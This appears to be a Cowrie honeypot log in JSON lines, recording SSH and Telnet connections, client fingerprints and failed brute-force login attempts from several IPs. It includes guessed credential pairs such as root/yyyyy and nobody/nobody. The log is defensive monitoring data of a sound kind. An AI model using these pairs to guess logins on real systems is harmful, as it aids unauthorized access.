{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:48.539728Z","src_ip":"176.65.132.129","session":"191466bbef2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es","message":"login attempt [es/es] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:48.791270Z","src_ip":"176.65.132.129","session":"191466bbef2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:49.876453Z","src_ip":"176.65.132.129","session":"191466bbef2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":52264,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc276e75c578","protocol":"ssh","message":"New connection: 186.13.24.118:52264 (10.17.0.5:22) [session: cc276e75c578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:50.554230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:50.559646Z","src_ip":"186.13.24.118","session":"cc276e75c578","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:50.727764Z","src_ip":"186.13.24.118","session":"cc276e75c578","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yyyyy","message":"login attempt [root/yyyyy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:51.419847Z","src_ip":"186.13.24.118","session":"cc276e75c578","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54544,"dst_ip":"159.203.135.109","dst_port":22,"session":"b834718ee5c0","protocol":"ssh","message":"New connection: 176.65.132.129:54544 (159.203.135.109:22) [session: b834718ee5c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:51.718577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:51.723732Z","src_ip":"176.65.132.129","session":"b834718ee5c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:51.806445Z","src_ip":"176.65.132.129","session":"b834718ee5c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.152.132.24","src_port":57432,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3e9486a5dbf","protocol":"ssh","message":"New connection: 82.152.132.24:57432 (159.203.135.109:22) [session: b3e9486a5dbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:51.919544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:51.929788Z","src_ip":"82.152.132.24","session":"b3e9486a5dbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pouria","password":"pouria","message":"login attempt [pouria/pouria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:52.058610Z","src_ip":"176.65.132.129","session":"b834718ee5c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:52.063310Z","src_ip":"82.152.132.24","session":"b3e9486a5dbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:52.589332Z","src_ip":"186.13.24.118","session":"cc276e75c578","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.91146421432495,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:52.593962Z","src_ip":"152.42.224.71","session":"d1ce1d10733a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"conan","message":"login attempt [root/conan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:52.598299Z","src_ip":"82.152.132.24","session":"b3e9486a5dbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:53.221288Z","src_ip":"176.65.132.129","session":"b834718ee5c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:53.727549Z","src_ip":"82.152.132.24","session":"b3e9486a5dbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54554,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0714788af4e","protocol":"ssh","message":"New connection: 176.65.132.129:54554 (159.203.135.109:22) [session: f0714788af4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:54.852742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:54.857771Z","src_ip":"176.65.132.129","session":"f0714788af4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:54.944761Z","src_ip":"176.65.132.129","session":"f0714788af4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:55.193142Z","src_ip":"176.65.132.129","session":"f0714788af4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.13995027542114,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:55.517916Z","src_ip":"152.42.224.71","session":"92cb22e3ed87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:56.277958Z","src_ip":"176.65.132.129","session":"f0714788af4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51394,"dst_ip":"159.203.135.109","dst_port":22,"session":"11f3311d27f0","protocol":"ssh","message":"New connection: 176.65.132.129:51394 (159.203.135.109:22) [session: 11f3311d27f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:58.116514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:58.221783Z","src_ip":"176.65.132.129","session":"11f3311d27f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:58.226039Z","src_ip":"176.65.132.129","session":"11f3311d27f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nobody","password":"nobody","message":"login attempt [nobody/nobody] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:58.637755Z","src_ip":"176.65.132.129","session":"11f3311d27f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60840,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4e9a620412d","protocol":"telnet","message":"New connection: 152.42.224.71:60840 (10.17.0.5:23) [session: f4e9a620412d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:58.903333Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:59.725095Z","src_ip":"176.65.132.129","session":"11f3311d27f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51404,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e85ec3dbff5","protocol":"ssh","message":"New connection: 176.65.132.129:51404 (159.203.135.109:22) [session: 6e85ec3dbff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:01.534495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:01.539485Z","src_ip":"176.65.132.129","session":"6e85ec3dbff5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:01.622210Z","src_ip":"176.65.132.129","session":"6e85ec3dbff5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:01.874959Z","src_ip":"176.65.132.129","session":"6e85ec3dbff5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.66552186012268,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:02.457319Z","src_ip":"152.42.224.71","session":"a9c3b2705df0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:02.960206Z","src_ip":"176.65.132.129","session":"6e85ec3dbff5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.81738257408142,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:03.462946Z","src_ip":"45.226.120.188","session":"071944312a4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72123694419861,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:03.467875Z","src_ip":"45.226.120.188","session":"40fdc3df3a92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.87020397186279,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:03.943247Z","src_ip":"152.42.224.71","session":"3fa1bd73fd30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51436,"dst_ip":"159.203.135.109","dst_port":22,"session":"e86240197f47","protocol":"ssh","message":"New connection: 176.65.132.129:51436 (159.203.135.109:22) [session: e86240197f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:04.730009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:04.735061Z","src_ip":"176.65.132.129","session":"e86240197f47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:04.821249Z","src_ip":"176.65.132.129","session":"e86240197f47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edward","password":"123456","message":"login attempt [edward/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:05.070604Z","src_ip":"176.65.132.129","session":"e86240197f47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:06.167215Z","src_ip":"176.65.132.129","session":"e86240197f47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46134,"dst_ip":"10.17.0.5","dst_port":23,"session":"a734b93fbfb2","protocol":"telnet","message":"New connection: 152.42.224.71:46134 (10.17.0.5:23) [session: a734b93fbfb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:06.395019Z"}
